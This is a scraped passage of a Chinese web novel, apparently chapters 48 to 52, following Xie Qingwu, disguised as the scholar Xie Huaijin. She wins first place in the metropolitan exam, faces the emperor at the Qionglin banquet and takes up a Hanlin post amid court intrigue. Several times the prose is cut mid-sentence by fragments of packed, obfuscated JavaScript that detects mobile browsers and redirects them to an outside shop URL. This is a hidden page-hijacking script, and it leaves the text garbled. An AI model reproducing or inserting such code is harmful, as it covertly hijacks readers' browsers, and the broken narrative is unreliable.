“还能传什么,榜单呗。”李慕白跟在她身边,压低声音,“有人说今年主考官是沈祭酒,最看重实务,你的策论正对路子。也有人说……王家那边使了银子,要压寒门学子的名次。” 谢青梧脚步微顿,随即又继续走:“榜单没出来,都是猜测。” “你就不担心?”李慕白看着她平静的侧脸,有些佩服,又有些着急,“要是真被压了名次……” “担心有用吗?”谢青梧转头看他,“文章已经交了,考官已经阅了,如今我们除了等,还能做什么?” 李慕白张了张嘴,说不出话来。半晌,才叹了口气:“也是。可我就是静不下心来,这几日书都看不进去。” 两人走到岔路口,谢青梧停下脚步:“慕白,尽人事,听天命。该做的我们已经做了,剩下的,交给天意吧。” 李慕白看着她,忽然笑了:“怀瑾,有时候我真觉得,你不像十五岁的人。” 谢青梧也笑:“怎么不像?” “太稳了。”李慕白摇头,“稳得让人心慌。行了,我回去了,明日再来找你。” “好。” 两人分开后,谢青梧独自往住处走。街上确实比往日热闹些,茶楼酒肆里坐满了读书人,都在议论榜单的事。她经过时,听见几个学子在争论: “我看今年会元定是赵家那位,他家与主考有旧……” “未必,听说谢怀瑾那篇策论写得极好,几位阅卷官都赞不绝口。” “谢怀瑾?一个寒门子弟,文章再好,能好过世家底蕴?” 谢青梧目不斜视地走过去,像没听见。 回到住处,李婶正在院子里晒书。见她回来,忙放下手里的活:“公子回来了?今儿有人送东西来。” “谁送的?” “没说。”李婶从屋里拿出一个锦盒,“是个面生的小厮,放下就走了。我打开看了,是支老山参,看着挺贵重。” 谢青梧接过锦盒,打开看了一眼。人参品相极好,至少值几十两银子。盒里没有署名,只有一张小笺,上面写着一个字:“补。” 字迹她认得,是陆执的。 她合上盒子,递给李婶:“收起来吧,日后用得着。” “哎。”李婶接过,犹豫了一下,“公子,还有件事。今儿上午,谢府那边来了个婆子,在门口转悠了半天,问我公子最近在做什么,身体可好。我看她眼神不对,没多说。” 谢青梧点点头。谢明远果然坐不住了,派人来打探消息。是怕她中了,更不好拿捏? “没事,她问什么,你照实说就是。我每日去翰林院,回家读书,没什么不可告人的。” “我晓得了。” 晚饭后,谢青梧坐在院中石凳上,就着最后的天光看书。春夜的风还有些凉,吹在脸上很清醒。 她其实并非不紧张。 会试三年一次,天下英才汇聚,能中已是万幸,何况是争会元。她对自己的文章有信心,但考官的心思,各方势力的博弈,都是变数。 若真中了会元,自然是好。名声,地位,话语权,都会大大提升。扳倒王家的路,会顺畅许多。 若不中,哪怕只是二甲进士,也还有机会。只是路会更难走些。 她合上书,望向夜空。 星子稀稀疏疏的,月亮还没出来。远处传来隐约的丝竹声,不知是哪家府邸在宴饮。 这京城就像一张巨大的网,每个人都在网中挣扎。有人想往上爬,有人想把别人拉下来。而她,只想走出一条自己的路。 正想着,墙头忽然传来轻微的响动。 她警觉地抬头,看见一个黑影翻墙进来,落地无声。是云知意身边那个叫阿七的护卫。 “谢公子。”阿七压低声音,“姑娘让我传话,王家这几日动作频繁,往几位阅卷官府上都送了礼。公主那边也得了消息,让你心里有数。” 谢青梧点头:“替我谢谢云姑娘。” “还有,”阿七又道,“公主说,让你安心。该是你的,跑不了。” “我明白。” 阿七不再多说,身形一闪,又翻墙出去了。院子里恢复寂静,像什么都没发生过。 谢青梧坐在原地,手指轻轻敲着石桌。 王家果然在活动。送礼,打点,想压她的名次。可惜他们不知道,公主那边也在活动,陆执那边也在看着。这场博弈,早已不是她一个人的事。 她起身回屋,点亮灯。桌上还摊着那篇策论的草稿,她拿起来又看了一遍。 字字句句,都是心血。从江州的见闻,到民生的思考,到改革的设想。她写得很用心,也很诚心。 若这样的文章都不能中,那这科举,不考也罢。 她放下稿子,吹灭灯,躺到床上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006721|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >明日,后日,大后日。 放榜的日子越来越近。 她能做的,都做了。 剩下的,交给天意。 窗外的风停了,夜更静了。 她闭上眼睛,慢慢睡着了。 梦里,好像看见了放榜的红纸。密密麻麻的名字,她一个一个找过去。 找到了。 “谢怀瑾”三个字,写在最前面。 她笑了。 而此时,谢府书房里,谢明远正对着一份名单发愁。 名单上是这次会试可能中榜的学子,谢怀瑾的名字排在前三。旁边注着小字:策论上佳,考官盛赞。 “大少爷,王家那边又催了。”王管家站在一旁,小心翼翼地说,“问咱们到底能不能压住谢怀瑾的名次。” “压?怎么压?”谢明远把名单摔在桌上,“沈祭酒那个老古板,油盐不进。另外几位阅卷官,公主那边也打了招呼。王家送的那些礼,人家敢收吗?” 王管家不敢接话。 谢明远揉着眉心,心里烦躁得很。谢怀瑾这个庶弟,像一根刺,越长越硬,越来越扎手。若真让他中了会元,往后还怎么拿捏? 可眼下,他似乎真的拿谢怀瑾没办法。 “继续盯着。”他最后只能说,“放榜那日,一有消息立刻回报。” “是。” 王管家退下了。谢明远独自坐在书房里,看着跳动的烛火,心里那股不安越来越重。 像是有什么东西,正在脱离掌控。 --- 公主府里,萧玉衡也在听回报。 “殿下,名单基本定了。谢怀瑾的名字,排在首位。”幕僚低声禀报。 萧玉衡嘴角微扬:“好。王家那边有什么反应?” “急得跳脚,但无计可施。沈祭酒那边,他们连门都没进去。” “陆执那边呢?” “陆千户这几日暗中加派了人手,在谢怀瑾住处附近守着。看样子,是防着有人狗急跳墙。” 萧玉衡点点头,端起茶杯,慢慢喝了一口。 茶是上好的龙井,清香回甘。 她放下杯子,看向窗外渐沉的夜色。 谢怀瑾,这把刀,她磨得很亮。 就等着出鞘的那一天了。 夜色更深了。 京城各处,无数人怀着不同的心思,等待着同一个日子。 有人期盼,有人恐惧,有人算计,有人守护。 而风暴的中心,那个十五岁的少年,正安然入睡。 梦里,红纸黑字,分外清晰。 49.金榜题名 放榜那日,天还没亮,贡院外的照壁前就挤满了人。 谢青梧没去凑热闹。她照旧早起,温书,用早饭,然后准备去翰林院。李婶却坐不住了,在院里转来转去,时不时看向门口。 “公子,您真不去看看?”李婶忍不住问。 “不去。”谢青梧放下碗筷,“中了自然有人来报,不中去了也无用。” 话虽这么说,心里其实也绷着一根弦。她起身回屋,拿起本书,却一个字也看不进去。索性放下,走到院中。 晨光渐渐亮了,街上传来隐约的喧哗声,越来越近。她听见有人在跑,有人在喊,还有敲锣的声音。 心突地跳了一下。 院门被拍响了,不是平时的力道,又急又重。李婶跑过去开门,门外站着两个穿皂衣的官差,后面还跟着一串看热闹的街坊。 “恭喜谢公子!高中会试第一名,会元!”为首的官差满脸堆笑,声音洪亮,“金榜已经张贴,公子大名高悬榜首!” 李婶“啊”了一声,捂住嘴,眼泪一下就出来了。 谢青梧站在原地,有那么一瞬间,脑子里是空的。随即回过神来,走上前,从容行礼:“有劳二位差爷。” 她从袖中取出早就备好的红封,递给官差。官差接过,掂了掂分量,笑容更盛:“谢公子太客气了!小的们还要去别家报喜,先告辞了。” 两人走了,街坊们却涌了进来。这个说“恭喜谢公子”,那个说“早就看出公子不凡”,七嘴八舌,热闹非凡。 谢青梧一一还礼,神色平静,不见骄色。李婶忙前忙后地招呼,脸上笑开了花。 正热闹着,李慕白冲了进来,一把抱住她:“怀瑾!会元!真的是会元!我就知道!我就知道你能行!” 谢青梧被他抱得晃了晃,无奈笑道:“你也中了?” “中了中了!二甲十七名!”李慕白松开她,眼睛发亮,“咱们国子监这回可露脸了,你是会元,我也中了,还有好几个人都中了!” 正说着,又有一拨同窗来了。都是这届中了进士的,个个脸上带着喜气。院子里挤得满满当当,道贺声,笑声,混成一片。 谢青梧让人搬了桌椅出来,又让李婶去备茶点。她坐在中间,听着众人说话,偶尔应几句,始终谦和得体。 有人问她文章怎么写的,她只说是侥幸。有人问她往后打算,她说先谢恩,再听朝廷安排。问什么都答得滴水不漏,不张狂,也不过分谦卑。 热闹了小半个时辰,同窗们才陆续告辞。李慕白最后一个走,拉着她低声道:“怀瑾,王家那边肯定气炸了。你这会元一中,他们再想动你,就得掂量掂量了。” “我知道。”谢青梧点头,“你也小心些。” “我没事,他们看不上我。”李慕白拍拍她肩膀,“走了,改日再聚。” 送走所有人,院子终于安静下来。李婶在收拾茶具,一边收拾一边抹眼泪:“公子,老爷夫人在天有灵,该多高兴……” 谢青梧没说话,走到院中那棵老槐树下。春日的阳光透过枝叶洒下来,斑斑驳驳的。她抬头看着,心里那根绷了许久的弦,终于松了。 会元。 她做到了。 从谢家那个不起眼的庶子,到秋闱第七,到会试榜首。一步步,走得艰难,但终究走出来了。 有了这个名头,往后在朝堂上说话,分量就不一样了。扳倒王家的路,会好走许多。 但也意味着,更多眼睛会盯上她。王家的忌惮会更深,谢明远的算计会更狠,二皇子那边也会更警惕。 前路依然险峻。 她深吸一口气,转身回屋。 刚进门,又有人来了。这次是谢府的人,抬着几个箱子,说是老爷夫人送来的贺礼。 谢青梧看了一眼,都是些绸缎、笔墨之类,值钱,但不算贵重。她让李婶收下,给了赏钱,打发来人走了。 她知道,这不是贺礼,是试探。谢父想看看她的态度,看她会不会因为中了会元就忘乎所以,重新贴回谢家。 不会。 她关上门,走到书桌前。桌上还摊着那本书,她拿起来,继续看。 一切照旧。 只是心里那团火,烧得更旺了。 --- 而此时,王家大宅里,气氛阴沉。 王崇山坐在太师椅上,手里捏着一份名单。谢怀瑾三个字,刺眼地排在第一位。 “会元……”他低声重复,手指收紧,名单被捏得皱成一团,“一个十五岁的寒门小子,居然中了会元。” 管家站在下面,大气不敢出。 “查清楚了吗?他的文章到底写了什么?”王崇山问。 “查……查不到具体内容。”管家声音发颤,“只听说几位阅卷官都赞不绝口,沈祭酒亲自点了他的卷子,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011664|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是‘见识超群,有经世之才’。” “经世之才?”王崇山冷笑,“一个毛头小子,懂什么经世?不过是会写几句文章罢了。” 话虽这么说,心里却知道没那么简单。谢怀瑾南下江州,拿了林家的证据,如今又中了会元,步步紧逼。再这样下去,王家迟早要栽在他手里。 “谢明远那边怎么说?”他问。 “谢大少爷……也很着急。说谢怀瑾如今中了会元,更不好拿捏了。” “废物!”王崇山将名单摔在地上,“告诉谢明远,他若处理不好这个庶弟,王家也保不住他谢家!” “是,是。” 管家退下了。王崇山独自坐在厅里,看着地上的名单,眼神越来越冷。 谢怀瑾…… 看来,得下狠手了。 --- 公主府里,却是另一番景象。 萧玉衡看着刚送来的消息,嘴角噙着笑:“会元,不错。没白费我一番心思。” 幕僚在一旁道:“殿下,谢怀瑾中了会元,接下来就是琼林宴,面圣。王家那边肯定不会善罢甘休,咱们要不要……” “不用。”萧玉衡摆摆手,“他若连这点风浪都经不住,也不值得我费心。倒是琼林宴,你安排一下,让他有机会在父皇面前说几句话。” “是。” “还有,”萧玉衡顿了顿,“陆执那边,你递个话,就说谢怀瑾如今是朝廷栋梁,让他多上心。” 幕僚应声退下。 萧玉衡走到窗边,看着园子里初绽的桃花。春意渐浓,有些事,也该开始了。 谢怀瑾这把刀,磨得够亮了。 该出鞘了。 --- 夜色降临,谢青梧的小院里终于彻底安静下来。 李婶收拾完,早早歇下了。谢青梧独自坐在灯下,桌上摊着一份新送来的邸报。上面有这次会试中榜的完整名单,她的名字,赫然在首。 她看了一会儿,合上邸报,吹灭灯。 月光从窗棂照进来,清清冷冷的。 她躺到床上,闭上眼睛。 会元,只是开始。 琼林宴,面圣,授官……一关又一关,还在前面。 但至少今晚,可以睡个好觉。 窗外的更鼓声传来,一声,两声。 她慢慢睡着了。 嘴角带着淡淡的笑。 50.琼林之宴 琼林宴设在皇家别苑,新科进士们早早到了,按名次列坐。谢青梧坐在首位,青衫整洁,神色平静。周围有羡慕的目光,也有审视的打量,她都视而不见。 宴席过半,内侍高唱:“陛下驾到——” 众人起身跪迎。景元帝缓步而入,五十来岁年纪,面容清癯,眼神深沉。他在御座坐下,抬手:“平身,都坐吧。今日是你们的好日子,不必拘礼。” 话虽如此,谁也不敢真放松。谢青梧垂眼坐着,能感觉到御座上投来的目光,在她身上停了停。 果然,景元帝开口了:“哪位是今科会元?” 谢青梧起身出列,行礼:“臣谢怀瑾,叩见陛下。” “抬起头来。” 她依言抬头,目光保持谦恭,不直视天颜。景元帝打量她片刻,忽然笑了:“这么年轻,就有如此才学。你那篇策论,朕看过了。” 宴席间安静下来。所有人都屏息听着。 “你说吏治与民富,犹如根与叶。”景元帝缓缓道,“这个比喻不错。那依你看,如今我大燕的根,扎得可稳?” 问题来得突然,也来得刁钻。谢青梧心念电转,垂眼答道:“陛下圣明,励精图治,天下承平。然树大难免有枯枝,根深难免藏蚁穴。臣以为,当常修常剪,方得长青。” “哦?如何修,如何剪?” “臣在策论中略陈愚见。”谢青梧不慌不忙,“一在清丈田亩,使赋税有据,百姓不怨。二在严查走私,堵国库漏洞,绝边关之患。三在整顿吏治,去冗员,惩贪腐,使政令畅通。” 她说得清晰,每一条都直指时弊,却又不说透。景元帝听完,沉默了片刻。 宴席间静得能听见烛火噼啪声。 “你这些想法,从何而来?”皇帝忽然问。 谢青梧心下一凛。这个问题看似随意,实则危险。若答得不好,可能引来猜忌。 “回陛下,臣早年游学,曾见民生多艰。后读史书,观前朝兴衰,皆与吏治、民生息息相关。”她顿了顿,“此次会试南下,沿途见闻,更觉治国如医病,须对症下药。” 她巧妙地将江州见闻融入“沿途”二字,既不点破,又暗示了实证。 景元帝看着她,眼神深了些:“你倒是有心。坐下吧。” “谢陛下。” 她退回座位,后背已经渗出一层薄汗。坐下时,眼角余光瞥见对面席上,萧玉衡遥遥举杯,朝她微微一笑。 她垂眼,端起酒杯,以袖掩面,回敬一杯。 宴席继续,丝竹声起,气氛渐渐松快。进士们开始互相敬酒,低声交谈。谢青梧坐在位上,偶尔与人应酬,心思却还在刚才那场对答上。 皇帝对她的印象如何?是欣赏,还是忌惮?那句“从何而来”,到底是什么意思? 正想着,旁边一位同科进士凑过来低声道:“谢会元,你可听说了?江南盐案破了,顾钦差立了大功,不日就要回京了。” 顾临渊。 谢青梧点头:“略有耳闻。” “听说这案子牵扯甚广,顾钦差铁面无私,拿了好些人。”那进士压低声音,“你说,会不会牵连到……” 他没说完,但意思明了。江南盐案,王家也有涉足。 谢青梧端起酒杯,轻声道:“雷霆雨露,皆是天恩。咱们做臣子的,只需尽忠职守便是。” 那进士愣了一下,随即笑道:“谢会元说的是。” 两人又说了几句闲话,那人便走开了。谢青梧独自坐着,看着杯中酒液。 顾临渊要回来了。 江南盐案破了,那王家呢?顾临渊查到哪一步?会不会已经触及王家的核心? 她忽然想起云知意。这些日子,云知意给她的情报里,从未提过顾临渊查案的细节。是不知道,还是……不能说? 她又看向对面的萧玉衡。公主正与身旁的女官说话,侧脸在烛光里显得柔和。这位公主殿下,为何对她如此看重?真的只是欣赏她的才学? 还有云知意。一个春风阁的琴师,为何能有如此灵通的情报网?听雪楼到底是什么来头?云知意与公主之间,又是什么关系? 疑问一个接一个冒出来,像迷雾一样笼罩着。 她隐隐觉得,自己似乎卷入了一张更大的网。公主,云知意,陆执,甚至顾临渊……这些人,这些事,背后似乎有更深的牵连。 而她,正站在网中央。 宴席将散时,景元帝起身离席。众人跪送。皇帝走到门口,忽然停住,回头看了谢青梧一眼。 那一眼很深,很沉,像在衡量什么。 然后转身走了。 内侍宣布宴散,进士们陆续离开。谢青梧走在最后,刚出殿门,就看见公主府的一个内侍等在廊下。 “谢公子,殿下请您稍留一步。” 她跟着内侍来到偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011665|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿。萧玉衡已经等在那里,见她进来,笑道:“今日表现不错。” “谢殿下夸奖。” “父皇对你印象颇深。”萧玉衡示意她坐下,“不过你要记住,帝王之心,深不可测。他今日问你那些话,既是考校,也是试探。” “臣明白。” “明白就好。”萧玉衡端起茶盏,“接下来就是授官,你心里可有打算?” “臣听从朝廷安排。” “翰林院庶吉士,是个好去处。”萧玉衡看着她,“清贵,有机会接触中枢。但也凶险,那里是各方势力眼线最密的地方。你去了,要格外小心。” “臣谨记。” 萧玉衡点点头,忽然转了话题:“云姑娘近日可好?” 谢青梧心头微动。公主突然提起云知意…… “云姑娘一切安好。” “那就好。”萧玉衡笑了笑,“她是个有本事的人,你多与她走动,没有坏处。” 这话说得意味深长。谢青梧抬眼,想从公主脸上看出些什么,却只见一片平静。 “殿下与云姑娘……”她试探着问。 “旧识。”萧玉衡简单道,“她帮过我,我记着她的情。” 话说得含糊,但谢青梧听懂了。公主与云知意之间,确实有联系。而且这联系,似乎不浅。 她没再追问。有些事,知道得太多未必是好事。 从偏殿出来,夜已深了。月光洒在宫道上,清清冷冷。谢青梧独自走着,脑子里还在想刚才的对话。 公主与云知意是旧识。 云知意帮过公主。 那么云知意帮她,是单纯出于情谊,还是……公主的意思? 她忽然想起南下前,云知意给她的那些帮助。路线,接头人,烟雾丸……每一样都恰到好处。现在想来,若没有公主背后的支持,云知意一个琴师,哪来这么大的能量? 迷雾似乎散开了一些,但真相却更加复杂。 她深吸一口气,加快脚步。 不管怎样,路已经走到这里,只能继续往前走。 至于那些藏在暗处的关系,那些错综复杂的牵连……时间到了,自然会水落石出。 宫门外,李婶安排的马车在等着。她登上车,帘子落下,隔绝了外面的世界。 马车缓缓行驶,驶向那个小小的院落。 那里是她暂时的港湾,也是她出发的起点。 51.陆执复盘 锦衣卫衙门的值房里,灯亮到后半夜。 陆执坐在案前,面前摊着两份东西。一份是谢怀瑾的会试策论抄本,字迹工整,力透纸背。另一份是江州之行的详细报告,从黑水渡黑店到周家村夜访,再到老宅取证据被追杀,一桩桩一件件,写得清清楚楚。 他看完策论,又看报告。看完报告,又回头去看策论。 来回看了三遍。 最后他放下纸张,靠在椅背上,闭了闭眼。 谢怀瑾。 这个才十五岁的少年,他在八仙楼外第一次见到时,只觉得心思深,不像寻常寒门学子。后来派人监视,发现与公主、云知意往来,疑心更重。 南下江州,他下令暗中保护。原以为只是保这少年一条命,看看他到底想干什么。没想到…… 黑店识破,反杀脱身。周家村夜访,避开眼线全身而退。老宅取证据,被护院发现还能用烟雾丸脱身。归途遭王家死士截杀,居然能活下来。 一桩桩,一件件,展现的不只是胆魄,更是急智,是应变,是远超这个年纪的沉稳。 还有这篇策论。 陆执重新拿起策论抄本,目光落在“使士农工商各尽其才,老弱妇孺各得其所”那句上。 这话说得隐晦,但意思他懂。这个谢怀瑾,心思比他想的还要深。不仅敢去碰王家这样的地头蛇,脑子里装的,更是些……不太寻常的想法。 他放下策论,起身走到窗边。 夜色深沉,只有值房这一盏灯还亮着。远处传来打更声,三更了。 他想起之前对谢怀瑾的评估。“监视可疑寒门”,这是最初的判断。一个寒门学子,突然得到公主青眼,又与来历不明的云知意往来,值得怀疑。 但现在的谢怀瑾,已经不只是“可疑寒门”了。 会元。翰林院庶吉士。策论写得连沈祭酒都赞不绝口。江州之行拿到王家铁证。与公主关系密切。甚至……可能还握着某些更重要的东西。 这样的一个人,再用“监视可疑”来形容,就不合适了。 陆执走回案前,提笔写下一行字:“调整档案,谢怀瑾,关注等级提升。从‘监视可疑寒门’改为‘关注潜力新锐’。保护等级提升至丙级。” 丙级保护,是锦衣卫内部对重要文官的保护等级。非亲非故,非功非勋,一个寒门出身的庶吉士,能得到这个等级,已经是破例了。 但他觉得值。 这个谢怀瑾,或许真能搅动一潭死水。朝堂上那些盘根错节的关系,那些陈腐的规矩,那些豪强世家的跋扈……或许就需要这样一把刀,去捅一捅。 当然,也有可能这把刀太利,最后伤了自己。 陆执放下笔,将纸条封进竹筒,叫来亲卫:“传下去。” “是。” 亲卫退下后,值房里又只剩他一人。他重新坐下,拿起那份江州报告,又看了一遍。 报告里写,谢怀瑾在归途遇袭时,有一支冷箭相助。射箭的人,是锦衣卫的人。 当时他下令,暗中保护,不到万不得已不出手。那支箭,是在谢怀瑾快要丧命时射出的。 现在想想,也许当时不该射那支箭。 该让谢怀瑾自己闯过去。 但他没忍住。 为什么? 陆执看着烛火,沉默了很久。 也许是因为,他在谢怀瑾身上,看到了某种……自己早就失去的东西。那种一往无前的锐气,那种明知山有虎偏向虎山行的胆魄。 锦衣卫待久了,见惯了阴谋算计,见惯了妥协退让。突然见到这么一个人,像一柄刚出鞘的剑,寒光凛凛,竟然让他……有些羡慕。 也有些不忍看这剑折断。 所以他下令保护,所以他在谢怀瑾回京后继续关注,所以他现在提升保护等级。 但这些,谢怀瑾不会知道。 也不能知道。 陆执吹灭灯,走出值房。夜风很凉,吹在脸上让人清醒。 他抬头看天,月亮被云遮住了,只有几颗星子还亮着。 就像这世道,大部分时候是暗的,但总还有那么几点光。 谢怀瑾,会是其中一点吗? 他不知道。 但他愿意看一看。 --- 次日,谢青梧在翰林院当值时,收到一个小包裹。没有署名,里面是一瓶新的伤药,比之前那瓶更好。还有一张小笺,上面只有一个字:“丙。” 她看着那个字,心里明白了几分。 丙级保护。 陆执给她的保护,升级了。 她收起药瓶和小笺,面不改色地继续整理书册。心里却在想,陆执为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015878|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么这么做?是因为她中了会元?还是因为……他看到了她的价值? 不管是哪种,这都不是坏事。 有锦衣卫暗中保护,她在京城的安全就多了一层保障。王家,谢明远,想动她都得掂量掂量。 但她也不会全然依赖这份保护。 自己的路,终究得自己走。 她抱起一摞旧档,走到书架前,一本本放回原位。动作很稳,心思也很稳。 窗外阳光很好,照进书库,尘埃在光柱里缓缓浮动。 一切看起来都很平静。 但平静之下,暗流从未停止涌动。 她放好最后一本书,拍了拍手上的灰。 继续干活。 --- 与此同时,陆执正在宫里回话。 景元帝坐在御案后,翻看着几份奏折,头也不抬地问:“那个谢怀瑾,你怎么看?” 陆执垂手站在下首,声音平稳:“回陛下,臣以为,此子才具过人,胆识不凡。可堪大用,但需磨砺。” “磨砺?”景元帝抬眼,“怎么磨砺?” “翰林院是个好地方。”陆执说,“清贵,但也复杂。让他在那里待一阵子,看看他的性子,也看看各方的反应。” 景元帝看着他,眼神深邃:“你对他倒是上心。” “臣只是为朝廷选才。”陆执面不改色。 “选才……”景元帝笑了笑,没再往下说,挥挥手让他退下。 陆执行礼退出,走到宫门外,才轻轻吐出一口气。 皇帝对谢怀瑾的关注,比他想的还要深。 这是好事,也是坏事。 好的是,谢怀瑾有机会一展抱负。坏的是,一旦行差踏错,后果不堪设想。 他抬头看天,云散了些,阳光露出来。 路还长,慢慢走吧。 --- 谢青梧对此一无所知。 她正埋头整理一份前朝漕运的旧档,看得入神。那些泛黄的纸页上,记录着百年前的漕政得失,一字一句,都是历史的回响。 她一边看,一边记。 这些都是养分,都是她将来要走的路的基石。 窗外的阳光渐渐西斜,照在她专注的侧脸上。 沉静,坚定。 像一株青梧,正在悄悄生长。 52.授官翰林 授官的旨意是午前到的。 谢青梧正在翰林院整理前朝旧档,一个小内侍匆匆进来,说吏部来人了,请她出去接旨。 她放下手里的书,整了整衣冠,走到院中。几个同年庶吉士也都在,互相看看,眼神里都有些紧张期待。 院中已经摆好了香案。吏部来的官员四十来岁,面容肃穆,展开圣旨,声音平稳地宣读: “……新科会元谢怀瑾,才学兼优,见识超群。着授翰林院庶吉士,从七品,即日到任。钦此。” 谢青梧跪下接旨:“臣谢怀瑾,叩谢天恩。” 吏部官员将圣旨递给她,脸色缓和了些:“谢庶吉士,恭喜了。翰林院是清贵之地,望你好生当差,不负圣恩。” “下官谨记。” 旁边几个同年也陆续接了旨。都是庶吉士,品级一样,只是排名有先后。有人脸上带笑,有人面色平静,也有人眼神里藏着些不甘。 旨意接完,吏部官员走了。同年们围过来,这个说“恭喜谢兄”,那个说“往后多多照应”。谢青梧一一应着,神色如常。 李慕白也中了庶吉士,挤过来拍她肩膀:“怀瑾,咱们又在一块儿了!” “是好事。”谢青梧笑笑。 “走,今儿我做东,咱们去喝一杯!”李慕白拉着她。 “改日吧。”谢青梧摇头,“还得去拜见上司,熟悉差事。” “也是,正事要紧。”李慕白松手,“那改日,一定啊。” 众人散去。谢青梧拿着圣旨,独自站在院中。阳光很好,照在明黄的绢布上,有些晃眼。 翰林院庶吉士,从七品。 这就是她仕途的起点了。 清贵,但也只是清贵。没有实权,没有根基,一个寒门出身的庶吉士,在这满是世家子弟的翰林院里,就像一株野草长在名花园中,扎眼,也容易被人踩。 但她心里很平静。 从决定走这条路起,她就知道会是这样。一步一步来,先站稳脚跟,再谋其他。 她收起圣旨,走回书库。刚才那摞旧档还没整理完,她继续一本本归位。 动作很稳,心也很稳。 窗外传来同年们的说笑声,渐渐远了。书库里只剩下她一个人,还有满架的旧书,淡淡的霉味。 她忽然想起很多年前,在谢家那个小偏院里,她偷偷点灯读书。姨娘坐在旁边做针线,时不时抬头看她一眼,眼里有欣慰,也有担忧。 那时她就想,一定要考出去,一定要站到能说话的位置上。 如今,站到这里了。 虽然只是第一步,但终究是站上来了。 她放好最后一本书,拍了拍手上的灰。 该去拜见上司了。 翰林院掌院学士姓周,五十多岁,须发花白,看她的眼神有些冷淡。只简单交代了几句:“庶吉士以修书撰史为主,兼习朝廷典章。你初来,先跟着李翰林熟悉熟悉。” 李翰林是个四十来岁的编修,态度比周学士还冷淡。丢给她一堆陈旧典籍:“这些,先整理出来。抄录一份,三日后交。” 谢青梧接过,厚厚一摞,至少得抄半个月。但她没说什么,只应道:“是。” 抱着书回到值房。庶吉士每人一间小值房,一桌一椅一书架,简单得不能再简单。她把书放下,倒了杯水,坐下开始看。 都是些前朝典章,枯燥,但有用。她看得仔细,不时提笔记下要点。 隔壁值房传来同年们的说话声,隐约听见有人抱怨:“这么多书,抄到什么时候去……” 她垂下眼,继续看自己的。 午后,有人敲门。是同年的一个庶吉士,姓赵,世家出身,脸上带着笑:“谢兄,忙呢?” “赵兄有事?” “没什么大事。”赵庶吉士走进来,看了看她桌上那摞书,“李翰林给的?他也真是,给新来的就派这么重的活。要不要我帮忙说一声,给你减减?” “不必了。”谢青梧摇头,“既派了差事,做便是。” “谢兄真是勤勉。”赵庶吉士笑了笑,压低声音,“其实咱们庶吉士,也不全靠这些。有些事……得看人情,看关系。谢兄初来,若有什么需要帮忙的,尽管开口。” 这话说得客气,但意思明了。想拉她入他们的小圈子。 谢青梧抬眼看他:“多谢赵兄好意。只是我初来乍到,只想先把差事做好,其他的,以后再说。” 赵庶吉士笑容淡了些:“也好。那谢兄忙,我先走了。” 人走了,值房里又静下来。谢青梧继续看书,心里却明白,这只是开始。 翰林院里,寒门与世家,清流与浊流,各种圈子盘根错节。她这个会元,就像一块肥肉,谁都想来咬一口,或者,推出去当靶子。 她得小心。 不能急,不能躁,一步都不能错。 窗外天色渐渐暗了。她点起灯,继续抄书。字迹工整,一笔一画,像在刻碑。 直到李婶来送饭,她才停下。李婶看着她桌上的书,心疼道:“公子,这么多书,得抄到什么时候?” “慢慢抄。”谢青梧接过食盒,“不着急。” “您也得注意身子,别太累着。” “我知道。” 吃完饭,她没再点灯。走到院中,春夜的风还有些凉。她抬头看天,星星很亮,一颗一颗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015879|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清冷又坚定。 像这条路。 